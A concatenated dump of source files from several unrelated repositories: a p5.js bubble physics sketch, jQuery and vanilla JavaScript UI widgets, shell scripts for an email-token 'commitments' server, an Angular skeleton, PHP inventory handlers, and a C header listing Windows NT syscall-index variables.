locGrid = new Array(1 + width/gridUnit);
for(let i = 0; i < locGrid.length; i++)
{
locGrid[i] = new Array(1 + height/gridUnit);
for(let j = 0; j < locGrid[i].length; j++) {
locGrid[i][j] = [];
}
}
bubbles = [];
for(let i = 0; i < NUMBUBBLES; i++) {
let iPos = createVector(random(width),random(height));
let iVel = createVector(randomGaussian(0, 4), randomGaussian(0,4));
let iCol = color(random(255), random(255), random(255));
bubbles.push(new Bubble(iPos, iVel, bubbleSize, iCol));
}
}
function draw() {
calculateCollisions();
background(250);
bubbles.forEach((bubble, index) =>
{
bubble.update(box);
fill(bubble.color);
circle(bubble.pos.x,bubble.pos.y, bubble.size());
});
}
function findGridSquare(bubble) {
let indices = p5.Vector.div(bubble.pos, gridUnit);
let square = createVector(floor(indices.x), floor(indices.y));
return square;
}
function calculateCollisions() {
for(let i = 0; i < locGrid.length; i++)
{
for(let j = 0; j < locGrid[i].length; j++) {
locGrid[i][j] = [];
}
}
bubbles.forEach((bubble, index) =>
{
let square = findGridSquare(bubble);
locGrid[square.x][square.y].push(index);
});
let eaten = [];
bubbles.forEach((bubble, bubbleIndex) =>
{
let squareIndices = findGridSquare(bubble);
let square = locGrid[squareIndices.x][squareIndices.y];
for(let i = 0; i < square.length; i++)
{
let otherIndex = square[i];
if(bubbleIndex === otherIndex) {
continue;
}
let other = bubbles[otherIndex];
if(Collision.valid(bubble,other) && other.count !== 0) {
let collision = new Collision(bubble, other);
if(other.count === 0) {
eaten.push(otherIndex);
}
};
}
});
eaten.sort(function(a,b) { return b-a; });
eaten.forEach((index) =>
{
bubbles.splice(index, 1);
});
}
class Bubble
{
constructor(pos, vel, size, col) {
this.pos = pos;
this.vel = vel;
this.baseSize = size;
this.color = col;
this.count = 1;
}
size() {
return this.count*this.baseSize;
}
accelerate() {
if(mouseIsPressed) {
let a = 0.01;
let mousePos = createVector(mouseX, mouseY);
let dir = p5.Vector.sub(mousePos, this.pos);
this.vel.add(p5.Vector.mult(dir, a));
}
}
update(box) {
this.accelerate();
this.pos.add(this.vel);
if(this.pos.x < this.size()/2 || this.pos.x > box.x - this.size()/2) {
this.vel.x = -this.vel.x;
if(this.pos.x < 0) {
this.pos.x = 0;
}
if(this.pos.x > box.x - this.size()/2) {
this.pos.x = box.x - this.size()/2;
}
}
if(this.pos.y < this.size()/2 || this.pos.y > box.y - this.size()/2) {
this.vel.y = -this.vel.y;
if(this.pos.y < 0) {
this.pos.y = 0;
}
if(this.pos.y > box.y - this.size()/2) {
this.pos.y = box.y - this.size()/2;
}
}
}
pop(emittedSpeed, bulkVel) {
for(let i = 1; i < this.count; i++) {
let rad = TWO_PI*i/this.count;
let iPos = this.pos.copy();
let iVel = createVector(sin(rad), cos(rad));
iVel.mult(emittedSpeed);
iVel.add(bulkVel);
let iCol = color(random(255), random(255), random(255));
bubbles.push(new Bubble(iPos, iVel, bubbleSize, iCol));
}
this.vel = createVector(0, emittedSpeed);
this.vel.add(bulkVel);
this.count = 1;
}
}
class Collision
{
static valid(obj1, obj2) {
let diff = p5.Vector.sub(obj1.pos,obj2.pos);
let magnitude = diff.mag();
let collisionDirection = p5.Vector.sub(obj2.pos, obj1.pos);
let tMom = p5.Vector.dot(obj1.vel, collisionDirection);
let oMom = p5.Vector.dot(obj2.vel, collisionDirection);
return magnitude < obj1.size()/2 + obj2.size()/2 && (tMom>0 || oMom < 0);
}
constructor(obj1, obj2) {
if(obj1.count === 0 || obj2.count === 0) {
return;
}
let posDiff = p5.Vector.sub(obj2.pos, obj1.pos);
let tCollMomentum = p5.Vector.mult(obj1.vel,obj1.count);
let tCollMomentumDir = p5.Vector.dot(posDiff, tCollMomentum);
let oCollMomentum = p5.Vector.mult(obj2.vel,obj2.count);
let oCollMomentumDir = -p5.Vector.dot(posDiff, oCollMomentum);
if(tCollMomentumDir >= oCollMomentumDir) {
this.attack(obj1, obj2);
}
}
attack(obj1, obj2) {
if(obj1.count < obj2.count) {
this.bounce(obj1, obj2);
}
else {
this.absorb(obj1,obj2);
}
}
bounce(obj1, obj2) {
let popObj = false;
let emittedSpeed = 6;
//Quadratic formula to calculate final velocities
//from collision. Only need to worry about momentum
//parallel to collision direction. Rest is conserved.
let collisionDirection = p5.Vector.sub(obj2.pos, obj1.pos);
collisionDirection.normalize();
let tParSpeed = p5.Vector.dot(obj1.vel, collisionDirection);
let oParSpeed = p5.Vector.dot(obj2.vel, collisionDirection);
let a = -obj2.count - sq(obj2.count)/obj1.count;
let b = tParSpeed*(2*obj2.count) + oParSpeed*(2*sq(obj2.count)/obj1.count);
let c1 = oParSpeed*oParSpeed*(obj2.count - sq(obj2.count)/obj1.count);
let c2 = -2*tParSpeed*oParSpeed*obj2.count;
let c = c1 + c2;
let quadFactor = b*b - 4*c*a;
if(quadFactor > 4*a*obj2.count*sq(emittedSpeed)) {
quadFactor -= obj2.count*sq(emittedSpeed);
popObj = true;
}
let bulkSpeed = (sqrt(b*b - 4*c*a) - b)/(a*2);
let bulkVel = obj2.vel.add(p5.Vector.mult(collisionDirection, bulkSpeed - oParSpeed));
let tiMomentum = (tParSpeed - bulkSpeed)*obj1.count;
let oiMomentum = (oParSpeed - bulkSpeed)*obj2.count;
let tfSpeed = (tiMomentum + oiMomentum)/obj1.count + bulkSpeed;
obj1.vel.add(p5.Vector.mult(collisionDirection, tfSpeed - tParSpeed));
if(popObj) {
obj2.pop(emittedSpeed, bulkVel);
}
else {
obj2.vel.add(p5.Vector.mult(collisionDirection, bulkSpeed - tParSpeed));
}
}
absorb(obj1, obj2) {
let tCollMomentum = p5.Vector.mult(obj1.vel,obj1.count);
let oCollMomentum = p5.Vector.mult(obj2.vel, obj2.count);
obj1.vel = p5.Vector.add(tCollMomentum,oCollMomentum).div(obj1.count+obj2.count);
obj1.count += obj2.count;
obj2.count = 0;
}
} | 9533bc01fd749b8a0fb296fa7547e5a56210fe16 | [
"JavaScript"
] | 1 | JavaScript | unidentifiedFlan-zz/GreedyBubbles | 5585c21914212bc3c4a7a4b36bcc5132cdd314c9 | 807fdff44caec47cd9fa0c8ad0748d04f133228a |
refs/heads/master | <file_sep>////////////////////////////////////////
// SCRIPT
////////////////////////////////////////
$(function(){
var setElm = $('.main_slide'),
fadeSpeed = 1000,
switchDelay = 5000;
$(window).load(function(){
setElm.each(function(){
var self = $(this),
findUl = self.find('ul'),
findLi = findUl.find('li'),
findLiFirst = findUl.find('li:first'),
findLiCount = findLi.length,
findImg = findLi.find('img'),
fadeTimer;
findLi.css({display:'block',opacity:'0',zIndex:'99'});
function areaHeight(){
var imgHeight = findImg.height();
self.css({height:imgHeight});
findUl.css({height:imgHeight});
findLi.css({height:imgHeight});
}
$(window).on('resize', function(){areaHeight();});
areaHeight();
findLiFirst.addClass('mainActive').css({zIndex:'100'}).stop().animate({opacity:'1'},fadeSpeed);
findLi.each(function(i){
$(this).attr('class','viewList' + (i + 1));
});
if(findLiCount > 1){
// ページネーション
var slider_thumb = $('<div class="slider_thumb"></div>');
self.append(slider_thumb);
findLi.each(function(i){
slider_thumb.append('<a href="#" class="thumb'+(i+1)+'"></a>');
});
var pnPoint = slider_thumb.find('a'),
pnFirst = slider_thumb.find('a:first'),
pnLast = slider_thumb.find('a:last'),
pnCount = slider_thumb.find('a').length;
pnFirst.addClass('pnActive');
pnPoint.click(function(){
timerStop();
var setNum = pnPoint.index(this),
showCont = setNum+1;
findUl.find('.viewList' + (showCont)).addClass('mainActive').stop().animate({opacity:'1'},fadeSpeed,function(){$(this).css({zIndex:'100'});});
findUl.find('.viewList' + (showCont)).siblings().removeClass('mainActive').stop().animate({opacity:'0'},fadeSpeed,function(){$(this).css({zIndex:'99'});});
pnPoint.removeClass('pnActive');
$(this).addClass('pnActive');
timerStart();
});
function switchNext(){
var setActive = slider_thumb.find('.pnActive'),
pnIndex = pnPoint.index(setActive),
pnNum = pnIndex+1;
if(pnCount == pnNum){
pnFirst.click();
} else {
setActive.next('a').click();
}
}
function switchPrev(){
var setActive = slider_thumb.find('.pnActive'),
pnIndex = pnPoint.index(setActive),
pnNum = pnIndex+1;
if(1 == pnNum){
pnLast.click();
} else {
setActive.prev('a').click();
}
}
function timerStart(){
fadeTimer = setInterval(function(){
switchNext();
},switchDelay);
}
timerStart();
function timerStop(){
clearInterval(fadeTimer);
}
}
});
});
});<file_sep>var fontSizeS = document.getElementById('fontSizeS');
var fontSizeM = document.getElementById('fontSizeM');
var fontSizeL = document.getElementById('fontSizeL');
fontSizeS.onclick = function smaller(){
document.body.style.fontSize = '80%';
}
fontSizeM.onclick = function middiam(){
document.body.style.fontSize = '100%';
}
fontSizeL.onclick = function large(){
document.body.style.fontSize = '110%';
}<file_sep>var tabs = document.getElementById('tabcontrol').getElementsByTagName('a');
var pages = document.getElementById('tabbody').getElementsByTagName('div');
// var tag1 = document.getElementsByClassName('tab1');
// var tag2 = document.getElementsByClassName('tab2');
// var tag3 = document.getElementsByClassName('tab3');
// var tag4 = document.getElementsByClassName('tab4');
// tabs[0].onclick = clickTab1;
// tabs[1].onclick = clickTab2;
// tabs[2].onclick = clickTab3;
// tabs[3].onclick = clickTab4;
function clickTab1(){
pages[0].style.display = "block";
pages[1].style.display = "none";
pages[2].style.display = "none";
pages[3].style.display = "none";
tabs[0].style.backgroundImage = 'url(resource/images/tab01_on.png)';
tabs[1].style.backgroundImage = 'url(resource/images/tab02_off.png)';
tabs[2].style.backgroundImage = 'url(resource/images/tab03_off.png)';
tabs[3].style.backgroundImage = 'url(resource/images/tab04_off.png)';
tabs[0].style.borderBottom = 'none';
}
function clickTab2(){
pages[0].style.display = "none";
pages[1].style.display = "block";
pages[2].style.display = "none";
pages[3].style.display = "none";
tabs[0].style.backgroundImage = 'url(resource/images/tab01_off.png)';
tabs[1].style.backgroundImage = 'url(resource/images/tab02_on.png)';
tabs[2].style.backgroundImage = 'url(resource/images/tab03_off.png)';
tabs[3].style.backgroundImage = 'url(resource/images/tab04_off.png)';
tabs[1].style.borderBottom = 'none';
}
function clickTab3(){
pages[0].style.display = "none";
pages[1].style.display = "none";
pages[2].style.display = "block";
pages[3].style.display = "none";
tabs[0].style.backgroundImage = 'url(resource/images/tab01_off.png)';
tabs[1].style.backgroundImage = 'url(resource/images/tab02_off.png)';
tabs[2].style.backgroundImage = 'url(resource/images/tab03_on.png)';
tabs[3].style.backgroundImage = 'url(resource/images/tab04_off.png)';
tabs[2].style.borderBottom = 'none';
}
function clickTab4(){
pages[0].style.display = "none";
pages[1].style.display = "none";
pages[2].style.display = "none";
pages[3].style.display = "block";
tabs[0].style.backgroundImage = 'url(resource/images/tab01_off.png)';
tabs[1].style.backgroundImage = 'url(resource/images/tab02_off.png)';
tabs[2].style.backgroundImage = 'url(resource/images/tab03_off.png)';
tabs[3].style.backgroundImage = 'url(resource/images/tab04_on.png)';
tabs[3].style.borderBottom = 'none';
}
//最初は新着情報ページ
clickTab1();
function changeTab() {
// href属性値から対象のid名を抜き出す
var targetid = this.href.substring(this.href.indexOf('#')+1,this.href.length);
// 指定のタブページだけを表示する
for(var i=0; i<pages.length; i++) {
if( pages[i].id != targetid ) {
if(pages[0]){ tabs[0].onclick = clickTab1;}
if(pages[1]){ tabs[1].onclick = clickTab2;}
if(pages[2]) {tabs[2].onclick = clickTab3;}
if(pages[3]){ tabs[3].onclick = clickTab4;}
}
}
// ページ遷移しないようにfalseを返す
return false;
}
// すべてのタブに対して、クリック時にchangeTab関数が実行されるよう指定する
for(var i=0; i<tabs.length; i++) {
tabs[i].onclick = changeTab;
}
| a823e582739dd002a9b010daf2defe3f2ee2ed84 | [
"JavaScript"
] | 3 | JavaScript | Haruwaka/verbose-spork | b134d8e11119a4b959b91ae2e8d3897a35a6a007 | 0e6076735a315ac0d66349422498a08f5aca73a5 |
refs/heads/master | <file_sep>#! /usr/bin/env bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
. "${DIR}/../environment/environment"
cd "${DIR}/.."
ROOT="${PWD}"
echo Setting up data directories
if [ ! -d "${COMMITMENTS_ROOT}" ]; then
mkdir -p "${COMMITMENTS_ROOT}"
fi
if [ ! -d "${NOTIFY_ROOT}" ]; then
mkdir -p "${NOTIFY_ROOT}"
fi
if [ ! -d "${TOKEN_ROOT}" ]; then
mkdir -p "${TOKEN_ROOT}"
fi
if [ ! -d "${USER_ROOT}" ]; then
mkdir -p "${USER_ROOT}"
fi
token init
notify init
commitments init
echo Setting up superforker runtime executables
if [ -d "${ROOT}/server_runtime" ]; then
rm -rf "${ROOT}/server_runtime"
fi
mkdir -p "${ROOT}/server_runtime"
ls "${ROOT}/node_modules/.bin" \
| xargs -I % ln -s "${ROOT}/node_modules/.bin/%" "${ROOT}/server_runtime/%"
ls "${ROOT}/server" \
| xargs -I % ln -s "${ROOT}/server/%" "${ROOT}/server_runtime/%"
echo Links complete
superwatcher init
superwatcher watch "${ROOT}"
superwatcher environment "${ROOT}/environment/environment"
superwatcher task main superforker 8080 "${ROOT}/server_runtime" "${ROOT}/client"
superwatcher task mail notify_to_email
superwatcher task optimizeapp "app"
superwatcher info
<file_sep>#! /usr/bin/env bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo Checking for notifications that need to go out via email
#go through ever user that has pending notifications
for NOTIFY_DIR in "${NOTIFY_ROOT}"/*
do
export EMAIL=$(basename $NOTIFY_DIR)
#any user that has pending notifications isn't logged in, otherwise they
#would have been consumed
#and here we send an email
notify receive $EMAIL --throttle 60 > "/tmp/${EMAIL}"
NOTIFICATIONS=$?
if [ $NOTIFICATIONS == 0 ]; then
echo $EMAIL has new notifications
export TOKEN=`token create ${EMAIL}`
cat "/tmp/${EMAIL}" \
| render "${DIR}/messages/updates.handlebars" \
| send --markdown ses
notify about user $EMAIL
else
echo $EMAIL has no new notifications
fi
done
<file_sep>//This is the server based requirejs optimization configuration
module.exports = {
logLevel: 0,
baseUrl: './',
optimize: 'none',
findNestedDependencies: true,
name: 'root',
pragmasOnSave: {
//Just an example
excludeCoffeeScript: true
},
deps: ['css'],
stubModules: ['cs', 'coffee-script'],
paths: {
md5: 'lib/md5',
store: 'lib/store',
jquery: 'lib/jquery',
'jquery-sortable': 'lib/jquery-sortable',
lodash: 'lib/lodash',
socketio: 'lib/socket.io',
marked: 'lib/marked',
moment: 'lib/moment',
grid: 'lib/grid-a-licious',
angular: 'lib/angular/angular',
'coffee-script': 'lib/coffee-script',
cs: 'lib/require/cs',
less: 'lib/require/less',
text: 'lib/require/text',
css: 'lib/require/css',
'less-builder': 'lib/require/less-builder',
'css-builder': 'lib/require/css-builder',
'normalize': 'lib/require/normalize',
'lessc-server': 'lib/require/lessc-server',
'lessc': 'lib/require/lessc',
bootstrap: 'lib/bootstrap/js/bootstrap',
tagbar: 'src/widgets/tagbar',
lunr: 'lib/lunr',
mousetrap: 'lib/mousetrap',
codemirror: 'lib/codemirror/lib/codemirror',
codemirrormarkdown: 'lib/codemirror/mode/markdown/markdown',
},
shim: {
//export this, allows plug ins to hook on
'jquery': {
exports: 'jQuery'
},
'md5': {
exports: 'md5'
},
'markdown': {
exports: 'markdown'
},
//export angular, but make sure jquery is up so we don't get stuck
//with jqlite!
'angular': {
deps: ['jquery'],
exports: 'angular'
},
'bootstrap': {
deps: ['jquery']
},
'jquery-sortable': {
deps: ['jquery']
},
'tagbar': {
deps: ['jquery']
},
'codemirror': {
exports: 'CodeMirror'
},
'codemirrormarkdown': {
deps: ['codemirror']
},
'lunr': {
exports: 'lunr'
},
},
}
<file_sep>//require would need to be configured separately, just FYI
require([
'angular',
'less!root',
'cs!src/app',
], function (angular, less, $) {
console.log("Root starting", arguments);
});
<file_sep>//Random things I've collected and need
//move things around in an array, useful for data bound arrays
Array.prototype.move = function (old_index, new_index) {
if (new_index >= this.length) {
var k = new_index - this.length;
while ((k--) + 1) {
this.push(undefined);
}
}
this.splice(new_index, 0, this.splice(old_index, 1)[0]);
return this; // for testing purposes
};
//hah!, sometimes you just want a regex to be text...
RegExp.escape = function(text) {
return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
};
<file_sep>#!/usr/bin/env bash
if [[ $1 =~ "join:" ]]; then
EMAIL=`echo $1 | sed s/join://`
echo asking to join $PWD
#create token data and a token
echo ${EMAIL} | token data ${EMAIL}
TOKEN=`token create ${EMAIL}`
echo -e "email: ${EMAIL}\ntoken: ${TOKEN}" \
| render "${ROOT}/messages/welcome.handlebars" \
| send --markdown ses
#error out, this isn't a login
exit 1
else
USER=$(token decode $1)
SUCCESS=$?
if [ $SUCCESS -eq 0 ]; then
USER_HOME="${USER_ROOT}/${USER}"
if [ ! -d "${USER_HOME}" ]; then
mkdir -p "${USER_HOME}"
fi
touch "${USER_HOME}/last_login"
echo $USER
else
exit $SUCCESS
fi
fi
<file_sep>#! /usr/bin/env bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
#keep on going forever, and try to send messages
while [ -n "-" ]
do
"${DIR}/notify_to_email_job"
sleep 30
done
<file_sep># Overview #
This is the superforker root package for installing a commitments
server.
# Requirements #
You need need `node`.
# Get Started #
* Clone me
* Go into the directory you cloned
* Get started with:
```
npm set domain localhost:8080
npm install
npm start
```
# Settings #
* `domain`
This goes into urls, exposed as the environmenr variable `DOMAIN` to
superforker scripts.
If you want to run and test locally:
```
npm set domain localhost:8080
```
* AWS
Commitments uses SES, so if you want email to send, you'll need
`AWS_SECRET_ACCESS_KEY` and `AWS_ACCESS_KEY_ID` set before you
start, as well as SES enabled on your account.
# Hacking in a user without email for testing
* Put in your email address as join
* Go into ~/var/commitments/tokens/token
* Rename the token to xxx
* Click on my picture on the home page, you'll be you
<file_sep>Welcome to Commitments
[Log In](http://{{serverUrl}}/#/login/{{token}})
Commitments uses email based login, we've figure out:
* You already have too many usernames and passwords
* You probably click 'forgot password a lot'
So, we cut to the chase, and just send you an email to log in. If you
lose this email, or othewise get logged out, you can always request a
new link.
The best part? We don't have your password, you didn't give it to us.
So, it can never be stolen or hacked... just don't forward this email,
just the same as a **forgot password** email!
And, we deeply reject the notion of **no-reply@**. Reply to this.
Contact us any time.
[Log In](http://{{serverUrl}}/#/login/{{token}})
<file_sep># vim: set filetype=bash
SCRIPT_PATH="$( readlink "${BASH_SOURCE[0]}" )"
if [ -z "${SCRIPT_PATH}" ]; then
SCRIPT_PATH="${BASH_SOURCE[0]}"
fi
DIR="$( cd "$( dirname "${SCRIPT_PATH}" )" && pwd )"
echo Environment sourced from ${DIR}
export PATH="${DIR}/../server_runtime":"${DIR}/../node_modules/.bin":${PATH}
echo Path is now ${PATH}
export COMMITMENTS_ROOT=~/var/commitments/todos
export NOTIFY_ROOT=~/var/commitments/notify
export TOKEN_ROOT=~/var/commitments/tokens
export USER_ROOT=~/var/commitments/users
export DOMAIN=${npm_config_domain-${npm_package_config_domain-www.commitments.us}}
echo Running on host/domain ${DOMAIN}
| 307924d7ec93131046e96be5bc2374f97f551d21 | [
"JavaScript",
"Markdown",
"Shell"
] | 10 | Shell | wballard/commitments_ui | 28cc901fceb8a8e0be061956bcadf7665905edad | f7978e8ad82a60b6949e671d6ab0f274f271f675 |
refs/heads/master | <file_sep><?php
include_once("../database/constants.php");
include_once("user.php");
include_once("DBOperation.php");
if (isset($_POST["username"]) AND isset($_POST["usertype"])) {
$user = new User();
$result = $user->createUserAccount($_POST["username"],$_POST["firstname"],$_POST["lastname"],$_POST["password1"],$_POST["usertype"]);
echo $result;
exit();
}
if (isset($_POST["log_username"]) AND isset($_POST["log_password"])) {
$user = new User();
$result = $user->userLogin($_POST["log_username"],$_POST["log_password"]);
echo $result;
exit();
}
if (isset($_POST["getDepartment"])) {
$obj = new DBOperation();
$rows = $obj->getAllRecord("department");
foreach ($rows as $row) {
echo "<option value='".$row["did"]."'>".$row["department_name"]."</option>";
}
exit();
}
if (isset($_POST["getBranch"])) {
$obj = new DBOperation();
$rows = $obj->getAllRecord("branchs");
foreach ($rows as $row) {
echo "<option value='".$row["bid"]."'>".$row["branch_name"]."</option>";
}
exit();
}
if (isset($_POST["department_name"]) AND isset($_POST["parent_dep"])) {
$obj = new DBOperation();
$result = $obj->addDepartment($_POST["parent_dep"],$_POST["department_name"]);
echo $result;
exit();
}
if (isset($_POST["branch_name"])) {
$obj = new DBOperation();
$result = $obj->addBranch($_POST["branch_name"]);
echo $result;
exit();
}
if (isset($_POST["device_name"]) AND isset($_POST["device_brand"]) AND isset($_POST["device_installationdate"])) {
$obj = new DBOperation();
// $uid = $_SESSION["id"]
$result = $obj->addDevices($_SESSION["id"],$_POST["select_dep"],$_POST["select_branch"],$_POST["device_name"],$_POST["device_brand"],$_POST["device_model"],$_POST["device_installationdate"],$_POST["remarks"]);
echo $result;
exit();
}
?><file_sep>
<style>
body {margin:0;font-family:sans-serif;}
.topnav {
overflow: hidden;
background-color: #0B6623;
}
.topnav a {
float: left;
display: block;
color: white;
text-align: center;
padding-top:10px;
padding-right:7px;
text-decoration: none;
font-size: 20px;
}
.topnav .icon {
display: none;
}
.dropdown {
overflow: hidden;
}
#home{
float:right;
}
#set{
float:right;
}
.dropdown .dropbtn {
font-size: 17px;
border: none;
outline: none;
color: white;
padding: 14px 16px;
background-color: #0B6623;
font-family: inherit;
margin: 0;
}
.dropdown-content {
display: none;
position: absolute;
background-color:#5D4D3D;
min-width: 160px;
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
z-index: 1;
}
.dropdown-content a {
float: none;
color: white;
padding: 10px,14px;
text-decoration: none;
display: block;
text-align: left;
}
.dropdown-content a:hover {
background-color: #ddd;
color: black;
}
.dropdown:hover .dropdown-content {
display: block;
}
@media screen and (max-width: 800px) {
.topnav a:not(:nth-child(-n+2)){
display:none;
padding-left:10px;
}
.dropdown .dropbtn {
display: none;
}
#home{
float:left;
}
#set{
float:right;
}
.topnav a.icon {
float: right;
display: block;
}
}
@media screen and (max-width: 800px) {
.topnav.responsive {position: relative;}
.topnav.responsive .icon {
position: absolute;
right: 0;
top: 0;
}
#home{
float:left;
}
#set{
float:right;
}
.topnav.responsive a {
float: none;
display: block;
text-align: left;
}
.topnav.responsive .dropdown {float: none;}
.topnav.responsive .dropdown-content {position: relative;}
.topnav.responsive .dropdown .dropbtn {
display: block;
width: 100%;
text-align: left;
}
}
</style>
<div class="topnav" id="myTopnav">
<a class ="logo" href="#"> <img src="./images/adbl1.png">
</a>
<a class="logo" style="padding-top:15px; color:white;"> ADBL Inventory Management system </a>
<?php
if (isset($_SESSION["id"])) {
?>
<a class="fa fa-user" style="padding-top:15px;" href="logout.php" id="set"> Logout</a>
<?php
}
?>
<div class="dropdown" id="set">
<button class="dropbtn " style="padding-top:10px; font-size:20px;"><span class="fa fa-cog"> Settings
<i class="fa fa-caret-down"></i>
</span>
</button>
<div class="dropdown-content">
<a href="#">Change Password</a>
</div>
</div>
<a class="fa fa-home" style="padding-top:15px;" id="home" href="#about">Home</a>
<a href="javascript:void(0);" style="font-size:15px, padding-top:15px;" class="icon" onclick="myFunction()">☰</a>
</div>
<script>
function myFunction() {
var x = document.getElementById("myTopnav");
if (x.className === "topnav") {
x.className += " responsive";
} else {
x.className = "topnav";
}
}
</script>
| 6d2f87d40345bf35df07203540ae2abe0b5a9f6a | [
"PHP"
] | 2 | PHP | IBigya/inv_projecthamro | c4396095db8df7158c165629b1d9960d7be69055 | d75b60933bf9af0d613bdd64909034bb433e4bdd |
refs/heads/master | <file_sep>import angular from 'angular';
const module = angular.module('app.directives', [
]);
export default module.name;
<file_sep>import angular from 'angular';
import router from './router';
import bootstrap from 'angular-ui-bootstrap';
import directives from './directives';
import appStates from './states/';
const app = angular.module('app', [router, bootstrap, directives, appStates])
angular.element(document).ready(function(){
angular.bootstrap(document, ['app']);
});<file_sep>import angular from 'angular';
import HeaderCtrl from './header.ctrl';
import headerTemplate from './header.html';
const module = angular.module('app.header', []);
module
.controller('HeaderCtrl', HeaderCtrl)
.run(function(){
});
export default module.name;
export {headerTemplate};<file_sep>import angular from 'angular';
import uiRouter from 'angular-ui-router';
import header, {headerTemplate} from '../../layout/header/';
import footerTemplate from '../../layout/footer.html';
import homeTemplate from './home.html';
import HomeCtrl from './home.ctrl';
const module = angular.module('app.states.games', [uiRouter, header]);
module.controller('HomeCtrl', HomeCtrl);
module.config(['$stateProvider',function($stateProvider){
$stateProvider
.state('home', {
url: '/home',
views: {
'header': {
controller: "HeaderCtrl",
controllerAs:'vm',
template: headerTemplate
},
'footer': {
template: footerTemplate
},
'content': {
controller: 'HomeCtrl',
controllerAs: 'vm',
template:homeTemplate
}
}
});
}]);
export default module.name; | 3bc77daca98711f54ede119accf65da031a97142 | [
"JavaScript"
] | 4 | JavaScript | ChristinaAjemyan/man | 03395d947ffe5c81b425dfe7e01c6f5d91ab7011 | 05a96b62d1cb6d5c9126b7502e644633ffaf2402 |
refs/heads/master | <repo_name>Fyyre/directntapi<file_sep>/DirectNtApi.h
/*
DirectNtApi ( version - final )
(C) 2011 - Fyyre
last update: 27.05.2011
*/
#include <basetsd.h>
#pragma once
extern DWORD dwNtAcceptConnectPort;
extern DWORD dwNtAccessCheck;
extern DWORD dwNtAccessCheckAndAuditAlarm;
extern DWORD dwNtAccessCheckByType;
extern DWORD dwNtAccessCheckByTypeAndAuditAlarm;
extern DWORD dwNtAccessCheckByTypeResultList;
extern DWORD dwNtAccessCheckByTypeResultListAndAuditAlarm;
extern DWORD dwNtAccessCheckByTypeResultListAndAuditAlarmByHandle;
extern DWORD dwNtAddAtom;
extern DWORD dwNtAddBootEntry;
extern DWORD dwNtAddDriverEntry;
extern DWORD dwNtAdjustGroupsToken;
extern DWORD dwNtAdjustPrivilegesToken;
extern DWORD dwNtAlertResumeThread;
extern DWORD dwNtAlertThread;
extern DWORD dwNtAllocateLocallyUniqueId;
extern DWORD dwNtAllocateReserveObject;
extern DWORD dwNtAllocateUserPhysicalPages;
extern DWORD dwNtAllocateUuids;
extern DWORD dwNtAllocateVirtualMemory;
extern DWORD dwNtAlpcAcceptConnectPort;
extern DWORD dwNtAlpcCancelMessage;
extern DWORD dwNtAlpcConnectPort;
extern DWORD dwNtAlpcCreatePort;
extern DWORD dwNtAlpcCreatePortSection;
extern DWORD dwNtAlpcCreateResourceReserve;
extern DWORD dwNtAlpcCreateSectionView;
extern DWORD dwNtAlpcCreateSecurityContext;
extern DWORD dwNtAlpcDeletePortSection;
extern DWORD dwNtAlpcDeleteResourceReserve;
extern DWORD dwNtAlpcDeleteSectionView;
extern DWORD dwNtAlpcDeleteSecurityContext;
extern DWORD dwNtAlpcDisconnectPort;
extern DWORD dwNtAlpcImpersonateClientOfPort;
extern DWORD dwNtAlpcOpenSenderProcess;
extern DWORD dwNtAlpcOpenSenderThread;
extern DWORD dwNtAlpcQueryInformation;
extern DWORD dwNtAlpcQueryInformationMessage;
extern DWORD dwNtAlpcRevokeSecurityContext;
extern DWORD dwNtAlpcSendWaitReceivePort;
extern DWORD dwNtAlpcSetInformation;
extern DWORD dwNtApphelpCacheControl;
extern DWORD dwNtAreMappedFilesTheSame;
extern DWORD dwNtAssignProcessToJobObject;
extern DWORD dwNtCallbackReturn;
extern DWORD dwNtCancelIoFile;
extern DWORD dwNtCancelIoFileEx;
extern DWORD dwNtCancelSynchronousIoFile;
extern DWORD dwNtCancelTimer;
extern DWORD dwNtClearEvent;
extern DWORD dwNtClose;
extern DWORD dwNtCloseObjectAuditAlarm;
extern DWORD dwNtCommitComplete;
extern DWORD dwNtCommitEnlistment;
extern DWORD dwNtCommitTransaction;
extern DWORD dwNtCompactKeys;
extern DWORD dwNtCompareTokens;
extern DWORD dwNtCompleteConnectPort;
extern DWORD dwNtCompressKey;
extern DWORD dwNtConnectPort;
extern DWORD dwNtContinue;
extern DWORD dwNtCreateDebugObject;
extern DWORD dwNtCreateDirectoryObject;
extern DWORD dwNtCreateEnlistment;
extern DWORD dwNtCreateEvent;
extern DWORD dwNtCreateEventPair;
extern DWORD dwNtCreateFile;
extern DWORD dwNtCreateIoCompletion;
extern DWORD dwNtCreateJobObject;
extern DWORD dwNtCreateJobSet;
extern DWORD dwNtCreateKey;
extern DWORD dwNtCreateKeyTransacted;
extern DWORD dwNtCreateKeyedEvent;
extern DWORD dwNtCreateMailslotFile;
extern DWORD dwNtCreateMutant;
extern DWORD dwNtCreateNamedPipeFile;
extern DWORD dwNtCreatePagingFile;
extern DWORD dwNtCreatePort;
extern DWORD dwNtCreatePrivateNamespace;
extern DWORD dwNtCreateProcess;
extern DWORD dwNtCreateProcessEx;
extern DWORD dwNtCreateProfile;
extern DWORD dwNtCreateProfileEx;
extern DWORD dwNtCreateResourceManager;
extern DWORD dwNtCreateSection;
extern DWORD dwNtCreateSemaphore;
extern DWORD dwNtCreateSymbolicLinkObject;
extern DWORD dwNtCreateThread;
extern DWORD dwNtCreateThreadEx;
extern DWORD dwNtCreateTimer;
extern DWORD dwNtCreateToken;
extern DWORD dwNtCreateTransaction;
extern DWORD dwNtCreateTransactionManager;
extern DWORD dwNtCreateUserProcess;
extern DWORD dwNtCreateWaitablePort;
extern DWORD dwNtCreateWorkerFactory;
extern DWORD dwNtCurrentTeb;
extern DWORD dwNtDebugActiveProcess;
extern DWORD dwNtDebugContinue;
extern DWORD dwNtDelayExecution;
extern DWORD dwNtDeleteAtom;
extern DWORD dwNtDeleteBootEntry;
extern DWORD dwNtDeleteDriverEntry;
extern DWORD dwNtDeleteFile;
extern DWORD dwNtDeleteKey;
extern DWORD dwNtDeleteObjectAuditAlarm;
extern DWORD dwNtDeletePrivateNamespace;
extern DWORD dwNtDeleteValueKey;
extern DWORD dwNtDeviceIoControlFile;
extern DWORD dwNtDisableLastKnownGood;
extern DWORD dwNtDisplayString;
extern DWORD dwNtDrawText;
